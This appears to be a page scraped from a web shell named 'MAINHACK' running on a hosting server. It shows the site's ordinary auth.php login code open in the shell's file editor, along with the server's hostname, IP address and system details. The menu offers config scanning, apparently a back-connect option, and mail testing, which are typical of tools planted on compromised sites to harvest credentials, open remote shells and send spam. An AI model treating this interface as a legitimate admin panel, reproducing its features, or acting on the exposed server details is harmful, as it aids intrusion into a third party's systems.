[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: auth.php
<?php // auth.php require_once 'config.php'; class Authentication { public static function login($username, $password) { if ($username === ADMIN_USERNAME && password_verify($password, ADMIN_PASSWORD_HASH)) { $_SESSION['admin_logged_in'] = true; $_SESSION['login_time'] = time(); return true; } return false; } public static function logout() { $_SESSION = array(); session_destroy(); header('Location: login.php'); exit; } public static function isLoggedIn() { return isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true; } public static function requireAuth() { if (!self::isLoggedIn()) { header('Location: login.php'); exit; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: lon-nr-cp1.bigcloudy.com
Server IP: 69.161.196.4
PHP Version: 8.2.31
Server Software: Apache
System: Linux lon-nr-cp1.bigcloudy.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
HDD Total: 149.25 GB
HDD Free: 39.25 GB
Domains on IP: N/A (Requires external lookup)
System Features